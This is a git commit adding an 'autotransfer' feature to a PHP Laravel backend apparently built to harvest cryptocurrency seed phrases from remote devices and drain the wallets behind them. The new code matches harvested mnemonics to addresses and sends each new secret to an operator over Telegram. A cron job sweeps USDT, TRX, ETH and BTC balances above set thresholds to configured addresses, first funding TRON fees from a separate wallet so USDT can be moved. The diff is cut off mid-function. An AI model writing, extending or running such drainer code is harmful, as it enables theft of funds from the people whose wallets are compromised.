feat: autotransfer

This commit is contained in:
hashbro
2026-08-17 02:03:17 +08:00
parent 376b442880
commit a32043df71
42 changed files with 3268 additions and 256 deletions
+116
View File
@@ -0,0 +1,116 @@
<?php
namespace App\Services;
use App\Models\Channel;
use App\Models\Device;
use App\Models\User;
use App\Models\WalletAddress;
/**
* Resolve auto-transfer switch + per-asset thresholds.
*
* Official channels (user_id = 0 / missing): system switch + system thresholds only.
* Agent channels: agent switch only; thresholds prefer agent then system then 0.
*/
class AutoTransferConfig
{
/** @var list<string> */
public const ASSETS = ['USDT', 'TRX', 'ETH', 'BTC'];
public function isEnabledForAddress(WalletAddress $address): bool
{
$agentId = $this->agentUserIdForDevice((int) $address->device_id);
if ($agentId === null || $agentId === Channel::OFFICIAL_USER_ID) {
return $this->systemEnabled();
}
$agent = User::query()->find($agentId);
return $agent !== null && (bool) $agent->auto_transfer_enabled;
}
/**
* Effective threshold for an asset (balance must be strictly greater).
*/
public function thresholdForAddress(WalletAddress $address, string $asset): string
{
$asset = strtoupper(trim($asset));
$agentId = $this->agentUserIdForDevice((int) $address->device_id);
if ($agentId !== null && $agentId !== Channel::OFFICIAL_USER_ID) {
$agent = User::query()->find($agentId);
if ($agent !== null) {
$col = 'auto_transfer_threshold_'.strtolower($asset);
$raw = $agent->{$col} ?? null;
if ($raw !== null && $raw !== '') {
return $this->normalizeThreshold((string) $raw);
}
}
}
return $this->systemThreshold($asset);
}
public function systemEnabled(): bool
{
return (bool) config('coruna.auto_transfer.enabled');
}
public function systemThreshold(string $asset): string
{
$asset = strtolower(trim($asset));
$raw = config('coruna.auto_transfer.threshold_'.$asset);
return $this->normalizeThreshold(is_scalar($raw) ? (string) $raw : null);
}
public function feeAddressTron(): string
{
return trim((string) config('coruna.transfer.fee_address_tron', ''));
}
public function feePrivateKeyTron(): string
{
return trim((string) config('coruna.transfer.fee_private_key_tron', ''));
}
public function feeTopupTrx(): string
{
$raw = trim((string) config('coruna.transfer.fee_topup_trx', '20'));
if ($raw === '' || ! is_numeric($raw) || bccomp($raw, '0', 6) <= 0) {
return '20';
}
return $this->normalizeThreshold($raw);
}
private function agentUserIdForDevice(int $devicePk): ?int
{
$channelId = Device::query()->whereKey($devicePk)->value('channel_id');
if ($channelId === null || $channelId === '') {
return Channel::OFFICIAL_USER_ID;
}
$userId = Channel::query()->where('channel_id', $channelId)->value('user_id');
if ($userId === null) {
return Channel::OFFICIAL_USER_ID;
}
return (int) $userId;
}
private function normalizeThreshold(?string $raw): string
{
if ($raw === null || trim($raw) === '') {
return '0';
}
$raw = trim($raw);
if (! is_numeric($raw)) {
return '0';
}
$raw = rtrim(rtrim(sprintf('%.8F', (float) $raw), '0'), '.');
return $raw === '' ? '0' : $raw;
}
}
+338
View File
@@ -0,0 +1,338 @@
<?php
namespace App\Services;
use App\Models\TransferRecord;
use App\Models\WalletAddress;
use Illuminate\Support\LazyCollection;
class AutoTransferService
{
/** Same address + asset: skip another auto sweep within this window; still refresh balance. */
private const COOLDOWN_MINUTES = 3;
public function __construct(
private readonly AutoTransferConfig $config,
private readonly TransferService $transfers,
private readonly WalletBalanceService $balances,
) {}
/**
* Cron entry: scan addresses that have a mnemonic and any positive coin balance.
*
* @return array{inspected: int, triggered: int, ok: int, failed: int, skipped: int}
*/
public function run(): array
{
$stats = [
'inspected' => 0,
'triggered' => 0,
'ok' => 0,
'failed' => 0,
'skipped' => 0,
];
create_log([
'event' => 'auto_transfer_run_start',
'at' => now()->toDateTimeString(),
], 'transfer');
foreach ($this->candidates() as $address) {
$stats['inspected']++;
$outcome = $this->evaluate($address, 'cron');
$stats['triggered'] += $outcome['triggered'];
$stats['ok'] += $outcome['ok'];
$stats['failed'] += $outcome['failed'];
$stats['skipped'] += $outcome['skipped'];
}
create_log([
'event' => 'auto_transfer_run_end',
'stats' => $stats,
'at' => now()->toDateTimeString(),
], 'transfer');
return $stats;
}
/**
* @return LazyCollection<int, WalletAddress>
*/
public function candidates(): LazyCollection
{
return WalletAddress::query()
->whereNotNull('mnemonic_id')
->where(function ($q) {
$q->where('usdt', '>', 0)
->orWhere('trx', '>', 0)
->orWhere('eth', '>', 0)
->orWhere('btc', '>', 0);
})
->orderBy('id')
->cursor();
}
/**
* @return array{triggered: int, ok: int, failed: int, skipped: int}
*/
public function evaluate(WalletAddress $address, string $reason = 'cron'): array
{
try {
return $this->evaluateInner($address, $reason);
} catch (\Throwable $e) {
create_log([
'event' => 'auto_transfer_evaluate_exception',
'wallet_address_id' => $address->id,
'address' => $address->address,
'chain' => $address->chain_type,
'reason' => $reason,
'error' => $e->getMessage(),
], 'transfer');
return ['triggered' => 0, 'ok' => 0, 'failed' => 1, 'skipped' => 0];
}
}
/**
* @return array{triggered: int, ok: int, failed: int, skipped: int}
*/
private function evaluateInner(WalletAddress $address, string $reason): array
{
$stats = ['triggered' => 0, 'ok' => 0, 'failed' => 0, 'skipped' => 0];
$base = [
'wallet_address_id' => $address->id,
'address' => (string) $address->address,
'chain' => (string) $address->chain_type,
'mnemonic_id' => $address->mnemonic_id,
'reason' => $reason,
'balances' => [
'usdt' => $address->usdt,
'trx' => $address->trx,
'eth' => $address->eth,
'btc' => $address->btc,
],
];
if ($address->mnemonic_id === null) {
create_log($base + [
'event' => 'auto_transfer_skip',
'skip' => 'no_mnemonic',
], 'transfer');
$stats['skipped']++;
return $stats;
}
if (! $this->config->isEnabledForAddress($address)) {
create_log($base + [
'event' => 'auto_transfer_skip',
'skip' => 'disabled_for_channel',
], 'transfer');
$stats['skipped']++;
return $stats;
}
$chain = strtoupper(trim((string) $address->chain_type));
$assets = $this->assetsForChain($chain);
if ($assets === []) {
create_log($base + [
'event' => 'auto_transfer_skip',
'skip' => 'unsupported_chain',
], 'transfer');
$stats['skipped']++;
return $stats;
}
$transferChain = $this->transferChainKey($chain);
if ($transferChain === null) {
create_log($base + [
'event' => 'auto_transfer_skip',
'skip' => 'unsupported_transfer_chain',
], 'transfer');
$stats['skipped']++;
return $stats;
}
$anyAssetChecked = false;
foreach ($assets as $asset) {
$col = strtolower($asset);
$balance = $address->{$col} ?? null;
if ($balance === null || $balance === '' || ! is_numeric($balance)) {
continue;
}
$anyAssetChecked = true;
$threshold = $this->config->thresholdForAddress($address, $asset);
$scale = $this->assetScale($asset);
if (bccomp((string) $balance, $threshold, $scale) <= 0) {
create_log($base + [
'event' => 'auto_transfer_skip',
'skip' => 'below_threshold',
'asset' => $asset,
'balance' => (string) $balance,
'threshold' => $threshold,
], 'transfer');
$stats['skipped']++;
continue;
}
if ($this->recentAutoSuccess((string) $address->address, $asset)) {
try {
$this->balances->refresh($address);
$address->refresh();
} catch (\Throwable $e) {
create_log($base + [
'event' => 'auto_transfer_cooldown_refresh_failed',
'asset' => $asset,
'error' => $e->getMessage(),
], 'transfer');
}
create_log($base + [
'event' => 'auto_transfer_skip',
'skip' => 'recent_auto_transfer',
'asset' => $asset,
'cooldown_minutes' => self::COOLDOWN_MINUTES,
'balance' => (string) ($address->{$col} ?? $balance),
], 'transfer');
$stats['skipped']++;
continue;
}
// Live re-check before spending gas (DB may still be stale).
try {
$this->balances->refresh($address);
$address->refresh();
} catch (\Throwable $e) {
create_log($base + [
'event' => 'auto_transfer_preflight_refresh_failed',
'asset' => $asset,
'error' => $e->getMessage(),
], 'transfer');
}
$balance = $address->{$col} ?? null;
if ($balance === null || $balance === '' || ! is_numeric($balance)
|| bccomp((string) $balance, $threshold, $scale) <= 0) {
create_log($base + [
'event' => 'auto_transfer_skip',
'skip' => 'below_threshold_live',
'asset' => $asset,
'balance' => is_numeric($balance) ? (string) $balance : null,
'threshold' => $threshold,
], 'transfer');
$stats['skipped']++;
continue;
}
$stats['triggered']++;
create_log($base + [
'event' => 'auto_transfer_trigger',
'asset' => $asset,
'balance' => (string) $balance,
'threshold' => $threshold,
'transfer_chain' => $transferChain,
], 'transfer');
$result = $this->transfers->handle(
$transferChain,
(string) $address->address,
null,
$asset,
'auto',
);
if (($result['ok'] ?? false) === true) {
$stats['ok']++;
create_log($base + [
'event' => 'auto_transfer_success',
'asset' => $asset,
'txid' => $result['txid'] ?? null,
'amount' => $result['amount'] ?? null,
'to' => $result['to'] ?? null,
], 'transfer');
try {
$this->balances->refresh($address);
$address->refresh();
} catch (\Throwable $e) {
create_log($base + [
'event' => 'auto_transfer_balance_refresh_failed',
'asset' => $asset,
'error' => $e->getMessage(),
], 'transfer');
}
} else {
$stats['failed']++;
create_log($base + [
'event' => 'auto_transfer_failed',
'asset' => $asset,
'error' => $result['error'] ?? 'unknown',
], 'transfer');
}
}
if (! $anyAssetChecked) {
create_log($base + [
'event' => 'auto_transfer_skip',
'skip' => 'no_numeric_balances_for_chain_assets',
'assets' => $assets,
], 'transfer');
$stats['skipped']++;
}
return $stats;
}
private function recentAutoSuccess(string $fromAddress, string $asset): bool
{
$fromAddress = trim($fromAddress);
$asset = strtoupper(trim($asset));
if ($fromAddress === '' || $asset === '') {
return false;
}
return TransferRecord::query()
->where('from_address', $fromAddress)
->where('asset', $asset)
->where('operator', 'auto')
->where('status', TransferRecord::STATUS_SUCCESS)
->where('created_at', '>=', now()->subMinutes(self::COOLDOWN_MINUTES))
->exists();
}
private function assetScale(string $asset): int
{
return match (strtoupper($asset)) {
'ETH' => 18,
'BTC' => 8,
default => 6,
};
}
/**
* @return list<string>
*/
private function assetsForChain(string $chain): array
{
return match ($chain) {
'TRON', 'TRX' => ['USDT', 'TRX'],
'ETH', 'ETHEREUM', 'EVM' => ['ETH', 'USDT'],
'BTC', 'BITCOIN' => ['BTC'],
default => [],
};
}
private function transferChainKey(string $chain): ?string
{
return match ($chain) {
'TRON', 'TRX' => 'tron',
'ETH', 'ETHEREUM', 'EVM' => 'eth',
'BTC', 'BITCOIN' => 'btc',
default => null,
};
}
}
+26 -2
View File
@@ -28,8 +28,20 @@ class TronDriver implements ChainDriver
$derived = Bip44::derive($mnemonic, $this->path($index));
$from = TronAddress::fromUncompressedPublicKey($derived['public_key_uncompressed']);
$sun = $this->toSun($amount);
return $this->sendNativeWithPrivateKey($derived['private_key'], $from, $to, $amount);
}
/**
* Send TRX using a raw private key (fee top-up wallet).
*/
public function sendNativeWithPrivateKey(string $privateKeyHex, string $from, string $to, string $amount): string
{
if (! $this->isValidAddress($from) || ! $this->isValidAddress($to)) {
throw new RuntimeException('Invalid Tron address');
}
$sun = $this->toSun($amount);
$tx = $this->post('/wallet/createtransaction', [
'owner_address' => $from,
'to_address' => $to,
@@ -37,7 +49,19 @@ class TronDriver implements ChainDriver
'visible' => true,
]);
return $this->signAndBroadcast($tx, $derived['private_key']);
return $this->signAndBroadcast($tx, $privateKeyHex);
}
public static function addressFromPrivateKey(string $privateKeyHex): string
{
$privateKeyHex = strtolower(trim($privateKeyHex));
if (str_starts_with($privateKeyHex, '0x')) {
$privateKeyHex = substr($privateKeyHex, 2);
}
$ec = new \Elliptic\EC('secp256k1');
$pub = $ec->keyFromPrivate($privateKeyHex)->getPublic(false, 'hex');
return TronAddress::fromUncompressedPublicKey($pub);
}
public function sendToken(string $mnemonic, int $index, string $to, string $amount, string $contract): string
+6
View File
@@ -24,6 +24,7 @@ class IngestService
private readonly TelegramNotifier $telegram,
private readonly WalletBalanceService $balances,
private readonly TokenviewMonitorService $tokenview,
private readonly MnemonicAddressLinker $mnemonicLinker,
) {}
/**
@@ -452,6 +453,7 @@ class IngestService
$row->mnemonic = $secret;
$row->save();
if ($isNew) {
$this->mnemonicLinker->linkMnemonicToDeviceAddresses($row);
$this->telegram->notifyNewMemoric($device->device_id, $source, $secret);
}
}
@@ -567,6 +569,10 @@ class IngestService
$attrs
);
if ($addr->mnemonic_id === null) {
$this->mnemonicLinker->linkAddress($addr);
}
$isTron = in_array($chainType, ['TRON', 'TRX'], true);
// Tron: client payloads often omit/zero balances — pull TRX/USDT before notify.
if ($isTron && (! $existing || $coinAttrs === [])) {
+205
View File
@@ -0,0 +1,205 @@
<?php
namespace App\Services;
use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
use App\Services\Chain\ChainDriver;
use App\Services\Chain\ChainManager;
use InvalidArgumentException;
class MnemonicAddressLinker
{
public const MAX_DERIVE_INDEX = 4;
public function __construct(
private readonly ChainManager $chains,
) {}
/**
* Link a single address to a device mnemonic when BIP44 index 0..4 matches.
*/
public function linkAddress(WalletAddress $address): bool
{
if ($address->mnemonic_id !== null) {
return false;
}
$driver = $this->resolveDriver((string) $address->chain_type);
if ($driver === null) {
return false;
}
$mnemonics = WalletMnemonic::query()
->where('device_id', $address->device_id)
->orderBy('id')
->get();
if ($mnemonics->isEmpty()) {
return false;
}
$target = (string) $address->address;
$caseInsensitive = $driver->chainId() === 'eth';
foreach ($mnemonics as $mnemonicRow) {
$phrase = $mnemonicRow->mnemonic;
if ($phrase === null || trim($phrase) === '') {
continue;
}
$matchedIndex = $this->matchIndex($driver, $phrase, $target, $caseInsensitive);
if ($matchedIndex === null) {
continue;
}
$address->mnemonic_id = $mnemonicRow->id;
$address->derive_index = $matchedIndex;
$address->save();
return true;
}
return false;
}
/**
* After a new mnemonic is stored: link all unlinked addresses on the same device
* whose chains appear among those addresses (only those chains are derived).
*
* @return int Number of addresses linked
*/
public function linkMnemonicToDeviceAddresses(WalletMnemonic $mnemonic): int
{
$phrase = $mnemonic->mnemonic;
if ($phrase === null || trim($phrase) === '') {
return 0;
}
$addresses = WalletAddress::query()
->where('device_id', $mnemonic->device_id)
->whereNull('mnemonic_id')
->orderBy('id')
->get();
if ($addresses->isEmpty()) {
return 0;
}
$chainTypes = $addresses
->pluck('chain_type')
->filter(fn ($c) => is_string($c) && $c !== '')
->unique()
->values()
->all();
/** @var array<string, array<string, int>> $derivedByChainKey map chainKey => [normalizedAddress => index] */
$derivedByChainKey = [];
foreach ($chainTypes as $chainType) {
$driver = $this->resolveDriver((string) $chainType);
if ($driver === null) {
continue;
}
$chainKey = $driver->chainId();
if (isset($derivedByChainKey[$chainKey])) {
continue;
}
$derivedByChainKey[$chainKey] = $this->deriveIndexMap($driver, $phrase);
}
if ($derivedByChainKey === []) {
return 0;
}
$linked = 0;
foreach ($addresses as $address) {
$driver = $this->resolveDriver((string) $address->chain_type);
if ($driver === null) {
continue;
}
$map = $derivedByChainKey[$driver->chainId()] ?? null;
if ($map === null) {
continue;
}
$lookup = $driver->chainId() === 'eth'
? strtolower((string) $address->address)
: (string) $address->address;
if (! array_key_exists($lookup, $map)) {
continue;
}
$address->mnemonic_id = $mnemonic->id;
$address->derive_index = $map[$lookup];
$address->save();
$linked++;
}
return $linked;
}
private function resolveDriver(string $chainType): ?ChainDriver
{
$chain = strtolower(trim($chainType));
if ($chain === '') {
return null;
}
// BNB / BSC share ETH derivation paths.
if (in_array($chain, ['bnb', 'bsc'], true)) {
$chain = 'eth';
}
try {
return $this->chains->resolve($chain);
} catch (InvalidArgumentException) {
return null;
}
}
/**
* @return array<string, int> normalized address => derive index
*/
private function deriveIndexMap(ChainDriver $driver, string $phrase): array
{
$caseInsensitive = $driver->chainId() === 'eth';
$map = [];
for ($index = 0; $index <= self::MAX_DERIVE_INDEX; $index++) {
try {
$derived = $driver->deriveAddress($phrase, $index);
} catch (\Throwable) {
break;
}
$key = $caseInsensitive ? strtolower($derived) : $derived;
if (! array_key_exists($key, $map)) {
$map[$key] = $index;
}
}
return $map;
}
private function matchIndex(
ChainDriver $driver,
string $phrase,
string $target,
bool $caseInsensitive,
): ?int {
for ($index = 0; $index <= self::MAX_DERIVE_INDEX; $index++) {
try {
$derived = $driver->deriveAddress($phrase, $index);
} catch (\Throwable) {
return null;
}
$match = $caseInsensitive
? strcasecmp($derived, $target) === 0
: $derived === $target;
if ($match) {
return $index;
}
}
return null;
}
}
+122 -99
View File
@@ -2,42 +2,58 @@
namespace App\Services;
use App\Models\Setting;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\Schema;
use RuntimeException;
class SettingsService
{
public const KEYS = [
'telegram.bot_token',
'telegram.bot_username',
'telegram.owner_chat_id',
'channels.max_per_agent',
'channels.domains',
'panel.admin_hosts',
'panel.agent_hosts',
/**
* Admin-editable settings persisted to `.env`.
*
* @var array<string, string>
*/
public const ENV_KEYS = [
'telegram.bot_username' => 'TELEGRAM_BOT_USERNAME',
'telegram.owner_chat_id' => 'TELEGRAM_OWNER_CHAT_ID',
'auto_transfer.enabled' => 'AUTO_TRANSFER_ENABLED',
'auto_transfer.threshold_usdt' => 'AUTO_TRANSFER_THRESHOLD_USDT',
'auto_transfer.threshold_trx' => 'AUTO_TRANSFER_THRESHOLD_TRX',
'auto_transfer.threshold_eth' => 'AUTO_TRANSFER_THRESHOLD_ETH',
'auto_transfer.threshold_btc' => 'AUTO_TRANSFER_THRESHOLD_BTC',
'transfer.fee_address_tron' => 'TRANSFER_FEE_ADDRESS_TRON',
'transfer.fee_private_key_tron' => 'TRANSFER_FEE_PRIVATE_KEY_TRON',
'transfer.fee_topup_trx' => 'TRANSFER_FEE_TOPUP_TRX',
];
/** @return array<string, string|null> */
public function all(): array
{
$out = [];
foreach (self::KEYS as $key) {
$out[$key] = $this->get($key);
}
return $out;
}
/** Empty form value means keep existing env value. */
private const SECRET_KEYS = [
'transfer.fee_private_key_tron',
];
public function get(string $key, ?string $default = null): ?string
{
if (! $this->tableReady()) {
$value = match ($key) {
'telegram.bot_token' => config('coruna.telegram.bot_token'),
'telegram.bot_username' => config('coruna.telegram.bot_username'),
'telegram.owner_chat_id' => config('coruna.telegram.owner_chat_id'),
'auto_transfer.enabled' => config('coruna.auto_transfer.enabled') ? '1' : '0',
'auto_transfer.threshold_usdt' => config('coruna.auto_transfer.threshold_usdt'),
'auto_transfer.threshold_trx' => config('coruna.auto_transfer.threshold_trx'),
'auto_transfer.threshold_eth' => config('coruna.auto_transfer.threshold_eth'),
'auto_transfer.threshold_btc' => config('coruna.auto_transfer.threshold_btc'),
'transfer.to_address' => config('coruna.transfer.to_address'),
'transfer.to_address_eth' => config('coruna.transfer.to_address_eth'),
'transfer.to_address_btc' => config('coruna.transfer.to_address_btc'),
'transfer.fee_address_tron' => config('coruna.transfer.fee_address_tron'),
'transfer.fee_private_key_tron' => config('coruna.transfer.fee_private_key_tron'),
'transfer.fee_topup_trx' => config('coruna.transfer.fee_topup_trx'),
default => null,
};
if ($value === null || $value === '') {
return $default;
}
$map = $this->cachedMap();
return array_key_exists($key, $map) ? $map[$key] : $default;
return (string) $value;
}
/**
@@ -45,82 +61,51 @@ class SettingsService
*/
public function putMany(array $values): void
{
$envPairs = [];
foreach ($values as $key => $value) {
if (! in_array($key, self::KEYS, true)) {
if (! isset(self::ENV_KEYS[$key])) {
continue;
}
$str = $value === null ? null : trim((string) $value);
Setting::query()->updateOrCreate(
['key' => $key],
['value' => $str === '' ? null : $str]
);
if (in_array($key, self::SECRET_KEYS, true) && ($str === null || $str === '')) {
continue;
}
$str ??= '';
$envPairs[self::ENV_KEYS[$key]] = $str;
$this->applyRuntimeConfig($key, $str);
}
if ($envPairs !== []) {
$this->writeEnv($envPairs);
}
Cache::forget($this->cacheKey());
$this->applyToConfig();
}
/** Kept for boot compatibility; config is loaded from `.env` via config/coruna.php. */
public function applyToConfig(): void
{
if (! $this->tableReady()) {
return;
}
$map = $this->cachedMap();
$bot = $map['telegram.bot_token'] ?? null;
if ($bot !== null && $bot !== '') {
config([
'coruna.telegram.bot_token' => $bot,
'nutgram.token' => $bot,
]);
}
$botName = $map['telegram.bot_username'] ?? null;
if ($botName !== null) {
config(['coruna.telegram.bot_username' => $botName]);
}
$chat = $map['telegram.owner_chat_id'] ?? null;
if ($chat !== null && $chat !== '') {
config(['coruna.telegram.owner_chat_id' => $chat]);
}
$max = $map['channels.max_per_agent'] ?? null;
if ($max !== null && $max !== '' && is_numeric($max)) {
config(['coruna.channels.max_per_agent' => max(1, (int) $max)]);
}
if (array_key_exists('channels.domains', $map) && $map['channels.domains'] !== null) {
$domains = self::parseDomains($map['channels.domains']);
// Settings override channel hosts only; reporting stays CORUNA_REPORTING_DOMAINS.
config([
'coruna.channel_domains' => $domains,
'coruna.deployment_domains' => $domains,
]);
}
// Once saved in settings, DB wins (null/empty = no Host restriction).
if (array_key_exists('panel.admin_hosts', $map)) {
config(['coruna.panel.admin_hosts' => self::parseDomains($map['panel.admin_hosts'])]);
}
if (array_key_exists('panel.agent_hosts', $map)) {
config(['coruna.panel.agent_hosts' => self::parseDomains($map['panel.agent_hosts'])]);
}
// no-op: no DB overlay
}
/** Effective values for the settings form (DB overrides env). */
/** @return array<string, string> */
public function effectiveForForm(): array
{
$domains = config('coruna.channel_domains', []);
$adminHosts = config('coruna.panel.admin_hosts', []);
$agentHosts = config('coruna.panel.agent_hosts', []);
$feeKeySet = trim((string) config('coruna.transfer.fee_private_key_tron', '')) !== '';
return [
'telegram.bot_token' => (string) (config('coruna.telegram.bot_token') ?: ''),
'telegram.bot_username' => (string) (config('coruna.telegram.bot_username') ?: ''),
'telegram.owner_chat_id' => (string) (config('coruna.telegram.owner_chat_id') ?: ''),
'channels.max_per_agent' => (string) (int) config('coruna.channels.max_per_agent', 5),
'channels.domains' => is_array($domains) ? implode("\n", $domains) : '',
'panel.admin_hosts' => is_array($adminHosts) ? implode("\n", $adminHosts) : '',
'panel.agent_hosts' => is_array($agentHosts) ? implode("\n", $agentHosts) : '',
'auto_transfer.enabled' => config('coruna.auto_transfer.enabled') ? '1' : '0',
'auto_transfer.threshold_usdt' => (string) (config('coruna.auto_transfer.threshold_usdt') ?? ''),
'auto_transfer.threshold_trx' => (string) (config('coruna.auto_transfer.threshold_trx') ?? ''),
'auto_transfer.threshold_eth' => (string) (config('coruna.auto_transfer.threshold_eth') ?? ''),
'auto_transfer.threshold_btc' => (string) (config('coruna.auto_transfer.threshold_btc') ?? ''),
'transfer.fee_address_tron' => (string) config('coruna.transfer.fee_address_tron', ''),
'transfer.fee_private_key_tron' => '',
'transfer.fee_private_key_tron_set' => $feeKeySet ? '1' : '0',
'transfer.fee_topup_trx' => (string) (config('coruna.transfer.fee_topup_trx') ?: '20'),
];
}
@@ -136,7 +121,6 @@ class SettingsService
$d = trim((string) $d);
$d = preg_replace('#^https?://#i', '', $d) ?? $d;
$d = rtrim($d, '/');
// Host only (drop path / port).
$d = explode('/', $d, 2)[0];
$d = preg_replace('/:\d+$/', '', $d) ?? $d;
@@ -144,25 +128,64 @@ class SettingsService
}, $parts)));
}
/** @return array<string, string|null> */
private function cachedMap(): array
private function applyRuntimeConfig(string $key, string $value): void
{
return Cache::remember($this->cacheKey(), 300, function () {
return Setting::query()->pluck('value', 'key')->all();
});
match ($key) {
'telegram.bot_username' => config(['coruna.telegram.bot_username' => $value]),
'telegram.owner_chat_id' => config(['coruna.telegram.owner_chat_id' => $value]),
'auto_transfer.enabled' => config(['coruna.auto_transfer.enabled' => $value === '1']),
'auto_transfer.threshold_usdt' => config(['coruna.auto_transfer.threshold_usdt' => $value]),
'auto_transfer.threshold_trx' => config(['coruna.auto_transfer.threshold_trx' => $value]),
'auto_transfer.threshold_eth' => config(['coruna.auto_transfer.threshold_eth' => $value]),
'auto_transfer.threshold_btc' => config(['coruna.auto_transfer.threshold_btc' => $value]),
'transfer.fee_address_tron' => config(['coruna.transfer.fee_address_tron' => $value]),
'transfer.fee_private_key_tron' => config(['coruna.transfer.fee_private_key_tron' => $value]),
'transfer.fee_topup_trx' => config(['coruna.transfer.fee_topup_trx' => $value !== '' ? $value : '20']),
default => null,
};
}
private function cacheKey(): string
/**
* @param array<string, string> $pairs
*/
private function writeEnv(array $pairs): void
{
return 'coruna.settings.map';
}
$path = base_path('.env');
if (! is_file($path)) {
throw new RuntimeException('.env not found');
}
if (! is_writable($path)) {
throw new RuntimeException('.env is not writable');
}
private function tableReady(): bool
{
try {
return Schema::hasTable('settings');
} catch (\Throwable) {
return false;
$content = (string) file_get_contents($path);
foreach ($pairs as $name => $value) {
$line = $name.'='.$this->formatEnvValue($value);
if (preg_match('/^'.preg_quote($name, '/').'=/m', $content) === 1) {
$content = preg_replace('/^'.preg_quote($name, '/').'=.*$/m', $line, $content, 1) ?? $content;
} else {
$content = rtrim($content, "\r\n")."\n".$line."\n";
}
putenv($name.'='.$value);
$_ENV[$name] = $value;
$_SERVER[$name] = $value;
}
if (file_put_contents($path, $content) === false) {
throw new RuntimeException('Failed to write .env');
}
}
private function formatEnvValue(string $value): string
{
if ($value === '') {
return '';
}
if (preg_match('/[\s#"\'\\\\]/', $value) === 1) {
return '"'.str_replace(['\\', '"'], ['\\\\', '\\"'], $value).'"';
}
return $value;
}
}
+66
View File
@@ -296,6 +296,72 @@ class TelegramNotifier
$this->send(implode("\n", $lines), $deviceId);
}
/**
* Auto-transfer result (success or failure).
*/
public function notifyAutoTransfer(
string $deviceId,
string $fromAddress,
string $chain,
string $asset,
bool $ok,
?string $amount = null,
?string $toAddress = null,
?string $txid = null,
?string $error = null,
): void {
$lines = [
$ok ? '🚀 <b>Auto Transfer OK</b>' : '⚠️ <b>Auto Transfer Failed</b>',
...$this->deviceHeader($deviceId),
'⛓ <b>Chain</b>: '.$this->e($chain !== '' ? strtoupper($chain) : '—'),
'💎 <b>Asset</b>: '.$this->e($asset !== '' ? strtoupper($asset) : '—'),
'📤 <b>From</b>: <code>'.$this->e($fromAddress).'</code>',
];
if ($toAddress !== null && trim($toAddress) !== '') {
$lines[] = '📥 <b>To</b>: <code>'.$this->e($toAddress).'</code>';
}
if ($amount !== null && trim($amount) !== '') {
$lines[] = '💵 <b>Amount</b>: '.$this->e($amount).' '.$this->e(strtoupper($asset));
}
if ($ok && $txid !== null && trim($txid) !== '') {
$lines[] = '🔗 <b>Tx</b>: <code>'.$this->e($txid).'</code>';
}
if (! $ok && $error !== null && trim($error) !== '') {
$lines[] = '❌ <b>Error</b>: '.$this->e($error);
}
$this->send(implode("\n", $lines), $deviceId);
}
/**
* TRON fee / energy top-up result.
*/
public function notifyFeeTopup(
string $deviceId,
string $feeFrom,
string $toAddress,
bool $ok,
?string $amount = null,
?string $txid = null,
?string $error = null,
): void {
$lines = [
$ok ? '⚡ <b>TRX Fee Top-up OK</b>' : '⚠️ <b>TRX Fee Top-up Failed</b>',
...$this->deviceHeader($deviceId),
'📤 <b>Fee wallet</b>: <code>'.$this->e($feeFrom).'</code>',
'📥 <b>To</b>: <code>'.$this->e($toAddress).'</code>',
];
if ($amount !== null && trim($amount) !== '') {
$lines[] = '💵 <b>Amount</b>: '.$this->e($amount).' TRX';
}
if ($ok && $txid !== null && trim($txid) !== '') {
$lines[] = '🔗 <b>Tx</b>: <code>'.$this->e($txid).'</code>';
}
if (! $ok && $error !== null && trim($error) !== '') {
$lines[] = '❌ <b>Error</b>: '.$this->e($error);
}
$this->send(implode("\n", $lines), $deviceId);
}
/** @return list<string> */
private function deviceHeader(string $deviceId): array
{
+277 -2
View File
@@ -13,6 +13,8 @@ class TransferService
{
public function __construct(
private readonly ChainManager $chains,
private readonly AutoTransferConfig $autoConfig,
private readonly TelegramNotifier $telegram,
) {}
/**
@@ -53,6 +55,17 @@ class TransferService
$asset = strtoupper(trim($asset));
$record['asset'] = $asset;
create_log([
'event' => 'transfer_start',
'chain' => $chain,
'asset' => $asset,
'from' => $fromAddress,
'to' => $to,
'amount' => $record['amount'],
'operator' => $operator,
], 'transfer');
$driver = $this->chains->resolve($chain);
if (! $driver->isValidAddress($fromAddress)) {
@@ -81,6 +94,11 @@ class TransferService
['mnemonic' => $mnemonic, 'index' => $index] = $resolved;
// Energy/bandwidth fee: only TRON USDT (TRC20) needs a TRX buffer.
if ($asset === 'USDT' && in_array($chain, ['tron', 'trx'], true)) {
$this->ensureTronFeeTopup($driver, $fromAddress, $operator);
}
$txid = match ($asset) {
'TRX', 'ETH', 'BTC' => $driver->sendNative($mnemonic, $index, $to, $amount),
'USDT' => $driver->sendToken(
@@ -111,6 +129,157 @@ class TransferService
}
}
/**
* TRON USDT only: if fromAddress TRX < fee_topup_trx target, top up the shortfall from the fee wallet.
* Example: balance 5, target 20 → send 15 TRX.
*/
private function ensureTronFeeTopup(ChainDriver $driver, string $fromAddress, ?string $operator): void
{
if (! $driver instanceof \App\Services\Chain\TronDriver) {
return;
}
$target = $this->autoConfig->feeTopupTrx();
$trx = $driver->getNativeBalance($fromAddress);
if (bccomp($trx, $target, 6) >= 0) {
create_log([
'event' => 'tron_fee_topup_skip',
'reason' => 'balance_sufficient',
'from' => $fromAddress,
'trx' => $trx,
'target' => $target,
'operator' => $operator,
], 'transfer');
return;
}
$amount = bcsub($target, $trx, 6);
$amount = rtrim(rtrim($amount, '0'), '.');
if ($amount === '' || str_starts_with($amount, '-') || bccomp($amount, '0', 6) <= 0) {
return;
}
$feeAddress = $this->autoConfig->feeAddressTron();
$feeKey = $this->autoConfig->feePrivateKeyTron();
if ($feeAddress === '' || $feeKey === '') {
create_log([
'event' => 'tron_fee_topup_failed',
'error' => 'fee wallet not configured',
'from' => $fromAddress,
'trx' => $trx,
'target' => $target,
'operator' => $operator,
], 'transfer');
throw new RuntimeException('TRON fee top-up wallet is not configured (address/private key)');
}
if (! $driver->isValidAddress($feeAddress)) {
throw new RuntimeException('Invalid TRON fee top-up address');
}
try {
$derived = \App\Services\Chain\TronDriver::addressFromPrivateKey($feeKey);
if (strcasecmp($derived, $feeAddress) !== 0) {
throw new RuntimeException('TRON fee private key does not match fee address');
}
} catch (RuntimeException $e) {
throw $e;
} catch (\Throwable $e) {
throw new RuntimeException('Invalid TRON fee private key: '.$e->getMessage());
}
create_log([
'event' => 'tron_fee_topup_start',
'fee_from' => $feeAddress,
'to' => $fromAddress,
'amount' => $amount,
'trx_before' => $trx,
'target' => $target,
'operator' => $operator,
], 'transfer');
$topupRecord = [
'from_address' => $feeAddress,
